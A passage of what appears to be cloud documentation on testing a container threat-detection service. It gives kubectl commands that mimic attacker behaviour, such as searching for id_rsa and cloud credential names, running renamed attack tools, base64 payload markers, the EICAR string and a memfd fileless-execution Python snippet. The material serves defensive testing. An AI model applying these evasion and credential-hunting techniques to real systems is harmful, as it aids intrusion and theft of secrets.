Testing Container Threat Detection

This page explains how to verify that Container Threat Detection is working by intentionally triggering detectors and checking for findings. Container Threat Detection is a built-in service of the Premium and Enterprise tiers of Security Command Center. To view Container Threat Detection findings, it must be enabled in Security Command Center Services settings.

Before you begin

To detect potential threats to your containers, you need to make sure that your clusters are on a supported version of Google Kubernetes Engine (GKE). For more information, see using a supported GKE version.

Enable detectors

The following detectors are disabled by default:

Added Binary Executed
Added Library Loaded
Credential Access: Find Google Cloud Credentials
Defense Evasion: Launch Code Compiler Tool In Container
Execution: Program Run with Disallowed HTTP Proxy Env
Exfiltration: Launch Remote File Copy Tools in Container

To test those detectors, you must enable them explicitly:

Check the detector status:

export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

Enable the detector Added Binary Executed:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Enable the detector Added Library Loaded:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Enable the detector Credential Access: Find Google Cloud Credentials:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=FIND_GCP_CREDENTIALS \
    --project=${PROJECT}

Enable the detector Execution: Program Run with Disallowed HTTP Proxy Env:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Enable the detector Exfiltration: Launch Remote File Copy Tools in Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Enable the detector Defense Evasion: Launch Code Compiler Tool In Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Set environment variables

To test detectors, you use the Google Cloud console and Cloud Shell. You can set environment variables in Cloud Shell to make it easier to run commands. The following variables are used to test all Container Threat Detection detectors.

Go to the Google Cloud console.

Go to the Google Cloud console
Select the project that contains the container you want to use to test.
Click Activate Cloud Shell.
In Cloud Shell, set environment variables.
1. The zone your cluster is in:
```
export ZONE=CLUSTER_ZONE
```
2. The project your container is in:
```
export PROJECT=PROJECT_ID
```
3. Your cluster name:
```
export CLUSTER_NAME=CLUSTER_NAME
```

The variables are set. The following sections include instructions for testing Container Threat Detection detectors.

Added Binary Executed

To trigger an Added Binary Executed finding, drop a binary in your container and execute it. This example deploys the latest Ubuntu 24.04 image, copies /bin/ls to another location, and then executes it. The binary's execution is unexpected because the copy of the binary wasn't part of the original container image, even when that image is on Ubuntu 24.04, and containers are meant to be immutable.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Drop a binary and execute it:

x86 node:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

ARM node:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

This test procedure should create an Added Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Added Binary Executed findings. To see all Added Binary Executed findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Added Library Loaded

To trigger an Added Library Loaded finding, drop a library in your container and then load it. This example deploys the latest Ubuntu 24.04 image, copies /lib/x86_64-linux-gnu/libc.so.6 to another location, and then loads it using ld. The loaded library is unexpected because the copy of the library was not part of the original container image, even if that image is on Ubuntu 24.04, and containers are meant to be immutable.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Drop a library and use ld to load it:

x86 node:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

ARM node:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

This test procedure should create an Added Library Loaded finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Added Library Loaded findings. To see all Added Library Loaded findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Command and Control: Steganography Tool Detected

To trigger an Command and Control: Steganography Tool Detected (Preview) finding, a binary with file manipulation capabilities consistent with steganography tools must execute within a container. This example uses the latest Ubuntu 24.04 image. It copies /bin/ls and renames that to steghide (or another steganography tool like stegano). This behavior is flagged as suspicious because it can indicate an attempt to prepare a container for hiding or extracting data, potentially for malicious purposes.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a steganography tool binary like steghide:

x86 node:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

ARM node:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

This test procedure creates a Command and Control: Steganography Tool Detected finding that you can view in Security Command Center and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Credential Access: Find Google Cloud Credentials

To trigger a Credential Access: Find Google Cloud Credentials finding, a binary capable of searching file contents needs to be executed within a container. This example uses the latest Ubuntu 24.04 image. It copies /bin/ls and renames that to grep. The renamed binary is then executed with arguments that specify a search pattern indicative of a form of Google Cloud credentials. This action is flagged as suspicious because it mimics the behavior observed when attempting to locate Google Cloud credentials.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a search tool binary like find with appropriate arguments:

x86 node:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

ARM node:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

This test procedure should create an Credential Access: Find Google Cloud Credentials finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Credential Access: GPG Key Reconnaissance

To trigger an Credential Access: GPG Key Reconnaissance finding, a binary capable of searching file contents needs to be executed within a container. This example uses the latest Ubuntu 24.04 image. It copies /bin/ls and renames that to find (or another suitable search utility like grep). The renamed binary is then executed with arguments that specify a search pattern indicative of private keys or passwords, or content patterns suggesting passwords or secrets. This action is flagged as suspicious because it mimics the behavior observed when attempting to locate GPG security keys.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a search tool binary like find with appropriate arguments:

x86 node:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

ARM node:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

This test procedure should create an Credential Access: GPG Key Reconnaissance finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Credential Access: Search Private Keys or Passwords

To trigger an Credential Access: Search Private Keys or Passwords finding, a binary capable of searching file contents needs to be executed within a container. This example uses the latest Ubuntu 24.04 image. It copies /bin/ls and renames that to find (or another suitable search utility like grep). The renamed binary is then executed with arguments that specify a search pattern indicative of private keys or passwords, or content patterns suggesting passwords or secrets. This action is flagged as suspicious because it mimics the behavior observed when attempting to locate sensitive information like private keys or passwords within a containerized environment.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a search tool binary like find with appropriate arguments:

x86 node:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

ARM node:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

This test procedure should create an Credential Access: Search Private Keys or Passwords finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Defense Evasion: Base64 ELF File Command Lines

To trigger an Defense Evasion: Base64 ELF File Command Line finding, a process must have base64 as an argument and f0VMRgIB as an argument which is the base64 encoded form of ELF. This example uses the latest Ubuntu 24.04 image. base64 is then executed with the -d and f0VMRgIB arguments. This action is flagged as suspicious because it mimics the behavior observed when attempting to decode binary data to execute malicious code.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a search tool binary like find with appropriate arguments:

x86 node:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

ARM node:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

This test procedure should create two Defense Evasion: Base64 ELF File Command Line findings that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center. Two findings are created because the initial bash -c command as well as the execution of the base64 -d command satisfy the finding criteria.

Defense Evasion: Base64 Encoded Python Script Executed

To trigger an Defense Evasion: Base64 Encoded Python Script Executed finding, a process must have echo or base64 as an argument and aW1wb3J0IH as an argument which is the base64 encoded form of python -c. This example uses the latest Ubuntu 24.04 image. echo is then executed with the aW1wb3J0IH argument. This action is flagged as suspicious because it mimics the behavior observed when attempting to decode binary data to execute malicious code.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a search tool binary like find with appropriate arguments:

x86 node:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

ARM node:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

This test procedure should create a Defense Evasion: Base64 Encoded Python Script Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Defense Evasion: Base64 Encoded Shell Script Executed

To trigger an Defense Evasion: Base64 Encoded Shell Script Executed finding, a process must have echo or base64 as an argument and IyEvYmluL2Jhc2gK as an argument which is the base64 encoded form of #!/bin/bash. This example uses the latest Ubuntu 24.04 image. echo is then executed with the IyEvYmluL2Jhc2gK argument. This action is flagged as suspicious because it mimics the behavior observed when attempting to decode binary data to execute malicious code.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a search tool binary like find with appropriate arguments:

x86 node:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

ARM node:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

This test procedure should create a Defense Evasion: Base64 Encoded Shell Script Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Defense Evasion: Launch Code Compiler Tool In Container

To trigger a Defense Evasion: Launch Code Compiler Tool In Container (Preview) finding, a code compiler tool must execute within a container. This example uses the latest Ubuntu 24.04 image. It copies /bin/ls and renames that to gcc10 (or another compiler like clang). This behavior is flagged as suspicious because it can indicate an attempt to compile and execute malicious code within the container to evade detection or modify its behavior.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute a compiler binary like gcc10 with appropriate arguments:

x86 node:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

ARM node:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

This test procedure creates a Defense Evasion: Launch Code Compiler Tool In Container finding that you can view in Security Command Center and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Added Malicious Binary Executed

To trigger an Execution: Added Malicious Binary Executed finding, drop a malicious binary in your container and execute it. This example deploys the latest Ubuntu 24.04 image, creates a simulated malicious file, and then executes it. The binary's execution is unexpected because the simulated malicious binary wasn't part of the original container image, and the binary is an EICAR test file, a file classified as malicious by the threat intelligence.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Drop the EICAR binary and execute it:

x86 node:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

ARM node:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

This test procedure should create an Execution: Added Malicious Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

For noise reduction, when you first create a container, Container Threat Detection temporarily filters Execution: Added Malicious Binary Executed findings. To see all Execution: Added Malicious Binary Executed findings while a container is being set up, prefix your container name or pod name with ktd-test, as in the example.

Execution: Container Escape

To trigger an Execution: Container Escape finding, place a binary in your container and execute it. This example deploys the latest Ubuntu 24.04 image, copies /bin/ls to another location, renames it to a suspicious tool (botb-linux-amd64), and executes it with additional arguments. This action is considered suspicious because this execution simulates behavior consistent with a container escape attempt.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Drop a Container Exploitation tool binary like botb-linux-amd64 and execute it:

x86 node:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

ARM node:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

This test procedure should create an Execution: Container Escape finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Fileless Execution in `/memfd:`

To trigger an Execution: Fileless Execution in /memfd: finding, a process must be executed from the /memfd: in-memory file system. This example uses the latest Ubuntu 24.04 image. The /bin/ls utility is copied to an anonymous file in /memfd:. This copied binary is then executed. The execution of a binary under /memfd: is flagged as suspicious because it mimics the behavior of an object trying to execute in memory to avoid file based detections.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Create a privileged container and open bash to execute commands:

x86 node:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

ARM node:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

This test procedure should create an Execution: Fileless Execution in /memfd: finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Ingress Nightmare Vulnerability Execution

To trigger an Execution: Ingress Nightmare Vulnerability Execution (Preview) finding, execute the nginx binary in your container. This example deploys the latest Ubuntu 24.04 image, copies /bin/ls to another location, renames it to an Nginx binary (nginx), and executes it with additional arguments referencing the /proc file system. This action is deemed suspicious because it simulates behavior consistent with the Ingress Nightmare exploit (CVE-2025-1974), thereby indicating potential remote code execution.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Create an Nginx binary like nginx and execute it while accessing the /proc file system:

x86 node:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

ARM node:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

This test procedure creates an Execution: Ingress Nightmare Vulnerability Execution finding that you can view in Security Command Center and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center

Execution: Kubernetes Attack Tool Execution

To trigger an Execution: Kubernetes Attack Tool Execution finding, place a binary in your container and execute it. This example deploys the latest Ubuntu 24.04 image, copies /bin/ls to another location, renames it to a suspicious tool (amicontained), and executes it. This action is considered suspicious because it simulates behavior consistent with a potential Kubernetes attack tool execution attempt.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Drop a Kubernetes Attack tool binary like amicontained and execute it:

x86 node:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

ARM node:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

This test procedure should create an Execution: Kubernetes Attack Tool Execution finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Local Reconnaissance Tool Execution

To trigger an Execution: Local Reconnaissance Tool Execution finding, place a binary in your container and execute it. This example deploys the latest Ubuntu 24.04 image, copies /bin/ls to another location, renames it to a suspicious tool (linenum.sh), and executes it. This action is considered suspicious because executing the renamed binary simulates behavior consistent with a local reconnaissance attempt.

Set environment variables.

Use Cloud Shell to access the cluster control plane:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduce a Local Reconnaissance tool binary like linenum.sh and execute it:

x86 node:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

ARM node:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

This test procedure should create an Execution: Local Reconnaissance Tool Execution finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.

Execution: Malicious Python Executed

